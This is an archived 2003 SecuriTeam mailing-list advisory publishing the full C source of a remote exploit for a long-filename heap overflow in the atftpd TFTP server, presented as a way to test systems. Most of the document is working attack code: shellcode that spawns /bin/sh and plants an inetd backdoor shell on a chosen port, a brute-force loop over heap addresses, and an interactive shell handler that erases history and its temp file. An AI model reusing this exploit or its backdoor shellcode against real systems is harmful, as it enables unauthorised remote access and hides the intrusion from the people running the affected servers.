[EXPL] ATFTPd Exploit Code Release (Long Filename)
From: SecuriTeam (support_at_securiteam.com)
Date: 06/11/03
- Previous message: SecuriTeam: "[NT] Mollensoft FTP Server Buffer Overflow Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 11 Jun 2003 19:07:33 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Latest attack techniques.
You're a pen tester, but is google.com still your R&D team?
Now you can get trustworthy commercial-grade exploits and the latest
techniques from a world-class research group.
Learn more at http://www.coresecurity.com/promos/sit_e1,
or call 617-399-6980
- - - - - - - - -
ATFTPd Exploit Code Release (Long Filename)
------------------------------------------------------------------------
SUMMARY
There is possible remote buffer overflow in
<http://packages.debian.org/unstable/net/atftpd.html> atftpd (Advanced
TFTP server). It has to do with length of filename which client sends to
atftpd server. If you send filename with over 253 bytes, it crashes with a
segfault. The following exploit code can be used to test your system for
the mentioned vulnerability.
DETAILS
Exploit:
/**
** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
**
** This is a PoC as I didn't investigate the bug very much :
**
** - shellcode is placed in the heap but I didn't check if you can
** increase the number of the nops (probably you can)
**
** - I didn't check other distro/os for offset(s)
**
** - atftpd may crash during attack
**
** - There are better shellcodes to use with this (connect back)
**
** - Code sux, better using select() instead of alarm()
**
** However on my machine with atftpd version 0.6 ( from Debian Woody .deb
)
**
** [+] Using len=260 align=0 retaddr=0x08055640 shellcode=120 bport=2583
** sh: no job control in this shell
** sh-2.05b$ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
** Linux gunzip 2.4.20 #2 Thu Mar 13 14:37:10 CET 2003 i686 unknown
** sh-2.05b$
**
** Thu Jun 5 20:37:32 CEST 2003
**
** bug found by Rick <rikul@interbee.com>
** http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
**
** kisses to tankie
** greets: sorbo, arcangelo, jestah
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#define HEAP_START 0x080514b4
#define HEAP_END 0x080594b4
#define BACKDOOR "rfe" /* port MUST be > 1024 */
#define NOPNUM 128 /* number of nops */
#define PORT 69 /* tftpd port */
#define BUFSIZE 512 /* size of exploit buffer */
#define TIMEOUT 0x5 /* timeout in sec. */
#define NOALARM 0x0 /* no timeout */
#define RRQ 0x1 /* request method */
#define MODE "octet" /* request mode */
#define OFFSET 16000 /* distance of nops from heap */
struct target {
char * name ;
unsigned int align ;
unsigned int len ;
unsigned int retaddr ;
} tg[] =
{
{ "Linux (Debian 3.0)", 0, 264, 0x0805560c },
{ NULL, 0, 0, 0 }
};
char shellcode[]= /* taken from lsd-pl.net */
"\xeb\x22" /* jmp <cmdshellcode+36> */
"\x59" /* popl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x66\x68""-c" /* pushw $0x632d */
"\x89\xe7" /* movl %esp,%edi */
"\x50" /* pushl %eax */
"\x51" /* pushl %ecx */
"\x57" /* pushl %edi */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
"\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
"echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x
;/usr/sbin/inetd /tmp/.x;"
;
void timeout( int sig )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL );
fprintf(stderr,"[-] Timeout.\n");
exit( EXIT_FAILURE );
}
int shell( int fd )
{
int rd ;
fd_set rfds;
static char buff[ 1024 ];
char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";
write(fd, INIT_CMD, strlen( INIT_CMD ));
while(1) {
FD_ZERO( &rfds );
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if( FD_ISSET(0, &rfds) ) {
if( (rd = read(0, buff, sizeof(buff))) < 1) {
perror("[-] Read");
exit( EXIT_FAILURE );
}
if( write(fd,buff,rd) != rd) {
perror("[-] Write");
exit( EXIT_FAILURE );
}
}
if( FD_ISSET(fd, &rfds) ) {
if( (rd = read(fd, buff, sizeof(buff))) < 1) {
exit( EXIT_SUCCESS );
}
write(1, buff, rd);
}
}
}
int try( unsigned short bport, unsigned long ip )
{
int sockfd ;
struct sockaddr_in sheep ;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("[-] Socket");
exit( EXIT_FAILURE );
}
sheep.sin_family = AF_INET;
sheep.sin_addr.s_addr = ip ;
sheep.sin_port = htons ( bport );
signal( SIGALRM, timeout );
alarm( TIMEOUT );
if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1
)
{
alarm( NOALARM );
signal(SIGALRM,SIG_DFL);
return 0;
}
alarm( NOALARM );
signal(SIGALRM,SIG_DFL);
return sockfd ;
}
char * xp_make_str( unsigned int len, unsigned int align, unsigned long
retaddr )
{
int c ;
char * xp = (char *)calloc( BUFSIZE, sizeof(char) );
char * code = shellcode ;
if( !xp ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}
/* stupid check */
if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
fprintf(stderr, "[-] String too long or align too high.\n");
exit( EXIT_FAILURE );
}
/*
* our buffer shoud look like this
*
* [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][
SHELLCODE ]
* |_____> len
*/
memset ( xp, 0x41, BUFSIZE );
memcpy( xp + len - strlen( code ) - 16, code, strlen( code ));
for ( c = align + len - 16 ; c < len ; c += 4 )
*(long *)( xp + c ) = retaddr ;
*( xp ) = 0x0 ;
*( xp + 1 ) = RRQ ;
*( xp + len )= '\0' ;
memcpy( xp + len + 1, MODE, strlen( MODE ));
*( xp + len + 1 + strlen( MODE )) = '\0' ;
memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));
return xp ;
}
void usage( char * a )
{
int o = 0 ;
fprintf(stderr,
"__Usage: %s -h host -t target [options]\n\n"
"-o\toffset\n"
"-a\talign\n"
"-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
"-l\tlength of filename\n"
"-v\ttreceives packets too (check if daemon's crashed)\n"
"-b\tenables bruteforce (dangerous !)\n\n", a);
while( tg[o].name != NULL )
{
fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
}
fprintf( stderr, "\n" );
exit( EXIT_FAILURE );
}
int main(int argc, char *argv[])
{
int sfd, t = 0, bport = 0, opt = 0, offset = 0,
want_receive = 0, brute = 0, yeah = 0, step = 0;
struct servent * se ;
unsigned long n ;
char * host ;
struct sockaddr_in server ;
int len = sizeof(server);
char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
if ( !wbuf || !rbuf ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}
memset(&server, 0, sizeof(server));
fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");
if ( argc < 3 )
usage( argv[0] );
while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
switch(opt)
{
case 's': step = atoi( optarg ); break ;
case 'h': host = strdup ( optarg ); break;
case 't': t = atoi(optarg); break;
case 'b': brute++ ; break ;
case 'v': want_receive++ ; break ;
case 'o': offset += atoi( optarg ); break;
case 'a': tg[t].align = atoi( optarg ); break;
case 'l': tg[t].len = atoi( optarg ); break;
default: usage( argv[0] ); break;
}
}
if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
perror("[-] Getservbyname");
exit( EXIT_FAILURE );
}
if ((bport = ntohs( se->s_port )) < 1024 ) {
fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
exit( EXIT_FAILURE );
}
if ( inet_aton( host , &server.sin_addr) == 0 ) {
struct hostent * he ;
if ( (he = gethostbyname( host )) == NULL ) {
perror("[-] Gethostbyname");
exit( EXIT_FAILURE );
}
server.sin_addr.s_addr =
((struct in_addr *)(he->h_addr))->s_addr ;
}
if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
perror("[-] Socket");
exit( EXIT_FAILURE );
}
fprintf(stdout,"[+] Sending request to host %s\n",
inet_ntoa(server.sin_addr));
if ( !step ) step = tg[t].len / 2 ;
if ( brute ) offset += OFFSET ;
for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {
fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d
bport=%d\n",
tg[t].len, tg[t].align,
(brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset,
strlen(shellcode), bport );
if ( !brute )
wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset
);
else
wbuf = xp_make_str( tg[t].len, tg[t].align, n );
server.sin_port = htons( PORT );
if ( sendto(sfd, wbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t)sizeof(struct sockaddr)) < tg[t].len)
{
perror("[-] Sendto");
}
else if ( want_receive )
{
signal( SIGALRM, timeout );
alarm( TIMEOUT );
if ( recvfrom(sfd, rbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t *)&len) != -1 )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL);
fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
}
else {
perror("[-] Recvfrom");
}
}
sleep ( 1 ) ;
if((yeah = try( bport, server.sin_addr.s_addr ))) {
shell( yeah );
exit( EXIT_SUCCESS );
}
if ( !brute ) break ;
memset( wbuf, 0, BUFSIZE + 4 );
memset( rbuf, 0, BUFSIZE + 4 );
}
return 1 ;
}
/* http://members.xoom.it/gunzip/ */
ADDITIONAL INFORMATION
The vulnerability was discovered by <mailto:rikul@interbee.com> Rick, the
exploit code was created by <mailto:techieone@softhome.net> gunzip.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Mollensoft FTP Server Buffer Overflow Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] WebFS Long File Overflow Exploit
... int op_plat_num; ... char *op_plat_sys; ... void filter_text;
... (Securiteam) - [EXPL] Samba "send_mailslot()" Buffer Overflow Vulnerability (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... void put_name(char *dest,
const char *name, int pad, unsigned int ... (Securiteam) - [PATCH 8/9] irq-remove: driver trivial
... unsigned int i; ... unsigned int handled = 0; ... struct
ata_port *ap; ... Read the interrupt register and process for the devices that have them
pending. ... (Linux-Kernel) - webfs 1.7.x:webserver remote file overflow exploit (use ftpd to mkdir)
... int op_plat_num; ... char *op_plat_sys; ... void filter_text;
... (Bugtraq) - [EXPL] Snort Back Orifice Preprocessor Buffer Overflow (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... * char buf1; ...
unsigned int ret_off; // offset from buf1 to saved eip ... (Securiteam)